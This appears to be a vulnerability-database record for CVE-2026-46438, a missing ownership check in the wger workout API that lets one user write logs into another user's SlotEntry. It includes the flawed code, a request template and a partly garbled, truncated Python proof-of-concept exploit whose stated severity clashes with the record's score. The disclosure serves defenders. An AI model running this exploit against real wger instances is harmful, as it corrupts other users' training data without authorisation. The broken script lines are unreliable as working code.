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Response snapshot Oct 27, 2026, 00:51 UTC

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VulnerabilityCVE-2026-46438

wger: Cross-User Data Corruption via Missing Ownership Check on WorkoutLog.slot_entry

An authenticated attacker can inject arbitrary workout log entries into any other user's `SlotEntry` by supplying the victim's `slot_entry` ID in a `POST /api/v2/workoutlog/` request. The `slot_entry` foreign key is not included in the ownership verification performed by `WorkoutLogViewSet.

Published Updated

At a glance

Exploited
Not known
Severity
6.5 Medium (CVSS 3.1)
Chance of exploitation
0.2% in the next 30 days
Sources
1 source

What to do

Consult the exact GitHub advisory for affected versions, mitigation, and patch availability.

Read GitHub-reviewed advisory GHSA-rjpf-7pf5-q54x (opens a new tab)

What happened

### Summary

An authenticated attacker can inject arbitrary workout log entries into any other user's `SlotEntry` by supplying the victim's `slot_entry` ID in a `POST /api/v2/workoutlog/` request. The `slot_entry` foreign key is not included in the ownership verification performed by `WorkoutLogViewSet.get_owner_objects()`, so the server accepts and persists the cross-user reference without error.

Because `SlotEntry.get_config_data()` retrieves associated logs via `self.workoutlog_set.all()` with **no user filter**, the attacker's injected data is silently folded into the victim's progressive-overload calculations, corrupting their auto-generated weight and repetition targets.

### Details

Continue reading

wger uses a centralized ownership-verification pattern in `WgerOwnerObjectModelViewSet.create()` (file: `wger/utils/viewsets.py`). This method iterates over the list returned by each ViewSet's `get_owner_objects()` and verifies that every listed foreign-key value in the request belongs to the authenticated user. **Foreign keys not present in the list are never checked.**

`WorkoutLogViewSet.get_owner_objects()` returns:

```python # File: wger/manager/api/views.py, lines 312-316 def get_owner_objects(self): return [(Routine, 'routine'), (WorkoutSession, 'session')] # ^^^^^^^ checked ^^^^^^^^^^^^^^^ checked # (SlotEntry, 'slot_entry') is MISSING ```

Because `slot_entry` is omitted, an attacker can supply their own `routine` (which passes the ownership check) alongside a victim's `slot_entry` ID (which is never verified).

The second contributing factor is in `SlotEntry.get_config_data()`:

```python # File: wger/manager/models/slot_entry.py, line 367 logs = list(self.workoutlog_set.all()) # no .filter(user=...) ```

This reverse-relation query returns **all** `WorkoutLog` rows linked to the `SlotEntry`, regardless of which user created them. The attacker's injected entries are therefore included in the victim's progression calculations.

### PoC

#### Prerequisites

- Two authenticated user accounts (attacker and victim) - The attacker knows (or can enumerate) the victim's `SlotEntry` ID - The attacker has at least one `Routine` of their own (to satisfy the `routine` ownership check)

#### Attack Steps

``` POST /api/v2/workoutlog/ Authorization: Token Content-Type: application/json

{ "routine": , "slot_entry": , "exercise": , "repetitions": 999, "weight": 999, "repetitions_unit": 1, "weight_unit": 1, "date": "2025-01-15", "iteration": 1 } ```

**Expected:** HTTP 403 (the `slot_entry` belongs to another user) **Actual:** HTTP 201 (the log is created and linked to the victim's `SlotEntry`)

#### Proof of Concept Script

```python #!/usr/bin/env python3 """ PoC: Cross-User Data Corruption via WorkoutLog.slot_entry IDOR Target: wger Workout Manager Severity: CRITICAL - CVSS 7.1 CWE-639: Authorization Bypass Through User-Controlled Key

Usage: python3 poc.py http://localhost:8000 """

import requests import sys import json from datetime import date, timedelta

if len(sys.argv) ") print(f"Example: {sys.argv[0]} http://localhost:8000") sys.exit(1)

BASE = sys.argv[1].rstrip("/") API = f"{BASE}/api/v2"

VICTIM_USER = "admin" VICTIM_PASS = "adminadmin" ATTACKER_USER = "attacker_idor_poc" ATTACKER_PASS = "Attacker!Poc!2025"

BANNER = """ ===================================================================== PoC: Cross-User Data Corruption via WorkoutLog.slot_entry IDOR Severity: CRITICAL CWE-639: Authorization Bypass Through User-Controlled Key ===================================================================== """ print(BANNER)

# ---- Helper ---- def api_login(username, password): r = requests.post(f"{API}/login/", json={ "username": username, "password": password }) if r.status_code == 200: return r.json().get("token") return None

def api_headers(token): return {"Authorization": f"Token {token}", "Content-Type": "application/json"}

# ---- 1. Authenticate both users ----

print("[1] Authenticating users...")

victim_token = api_login(VICTIM_USER, VICTIM_PASS) if not victim_token: print(f"[-] Cannot log in as victim ({VICTIM_USER}). Check credentials.") sys.exit(1) print(f" Victim ({VICTIM_USER}): token={victim_token[:16]}...")

attacker_token = api_login(ATTACKER_USER, ATTACKER_PASS) if not attacker_token: print(f" Registering attacker account...") r = requests.post(f"{API}/register/", json={ "username": ATTACKER_USER, "password": ATTACKER_PASS, }) if r.status_code in (200, 201): attacker_token = r.json().

get("token") if not attacker_token: attacker_token = api_login(ATTACKER_USER, ATTACKER_PASS) if not attacker_token: print(f"[-] Cannot create/login attacker. Response: {r.text[:200]}") sys.exit(1) print(f" Attacker ({ATTACKER_USER}): token={attacker_token[:16]}...")

# ---- 2. Create victim's routine chain ----

print("\n[2] Setting up victim's private routine chain...")

vh = api_headers(victim_token) today = str(date.today()) end_date = str(date.today() + timedelta(days=30))

r = requests.post(f"{API}/routine/", headers=vh, json={ "name": "Victim Private Routine", "start": today, "end": end_date }) victim_routine_id = r.json()["id"] print(f" Routine id={victim_routine_id}")

r = requests.post(f"{API}/day/", headers=vh, json={ "routine": victim_routine_id, "order": 1, "name": "Push Day" }) victim_day_id = r.json()["id"] print(f" Day id={victim_day_id}")

r = requests.post(f"{API}/slot/", headers=vh, json={ "day": victim_day_id, "order": 1 }) victim_slot_id = r.json()["id"] print(f" Slot id={victim_slot_id}")

r = requests.get(f"{API}/exercise/?limit=1&format=json", headers=vh) exercise_id = r.json()["results"][0]["id"]

r = requests.post(f"{API}/slot-entry/", headers=vh, json={ "slot": victim_slot_id, "exercise": exercise_id, "order": 1, "type": "normal" }) victim_slot_entry_id = r.json()["id"] print(f" SlotEntry id={victim_slot_entry_id} passes check)") print(f" slot_entry = {victim_slot_entry_id} (VICTIM's -> NOT CHECKED)") print(f" weight = 999") print(f"

Affected package ranges reported by GitHub: wger: <= 2.1

Scores and how they were measured

CVSS base severity

6.5

Version 3.1As of

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

0.2%

Scored Percentile 13.3%

Model and measurement source (opens a new tab)

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-rjpf-7pf5-q54x (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-rjpf-7pf5-q54x, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  3. Primary source

    FIRST measured EPSS score (opens a new tab)

    Measured EPSS probability and percentile for CVE-2026-46438, scored 2026-10-26. This is a model estimate, not proof of exposure.

    Published Checked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 26). wger: Cross-User Data Corruption via Missing Ownership Check on WorkoutLog.slot_entry (CVE-2026-46438). https://kevwire.com/record/CVE-2026-46438

MLA

"wger: Cross-User Data Corruption via Missing Ownership Check on WorkoutLog.slot_entry (CVE-2026-46438)." KEVWire, 26 Oct. 2026, kevwire.com/record/CVE-2026-46438.

Chicago

KEVWire. "wger: Cross-User Data Corruption via Missing Ownership Check on WorkoutLog.slot_entry (CVE-2026-46438)." Last modified October 26, 2026. https://kevwire.com/record/CVE-2026-46438.

Evidence summary (plain text)

wger: Cross-User Data Corruption via Missing Ownership Check on WorkoutLog.slot_entry (Oct 7, 2026).
An authenticated attacker can inject arbitrary workout log entries into any other user's `SlotEntry` by supplying the victim's `slot_entry` ID in a `POST /api/v2/workoutlog/` request. The `slot_entry` foreign key is not included in the ownership verification performed by `WorkoutLogViewSet.get_owner_objects()`, so the server accepts and persists the cross-user reference without error.

Because `SlotEntry.get_config_data()` retrieves associated logs via `self.workoutlog_set.all()` with **no user filter**, the attacker's injected data is silently folded into the victim's progressive-overload calculations, corrupting their auto-generated weight and repetition targets.
CVSS 6.5 (version 3.1; evidence as of Oct 26, 2026; https://github.com/advisories/GHSA-rjpf-7pf5-q54x).
EPSS 0.2% for the following 30 days, scored Oct 26, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-46438&date=2026-10-26).
Sources:
GitHub-reviewed advisory GHSA-rjpf-7pf5-q54x: https://github.com/advisories/GHSA-rjpf-7pf5-q54x
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-46438&date=2026-10-26
Record ID: CVE-2026-46438.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 26, 2026, 19:40 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

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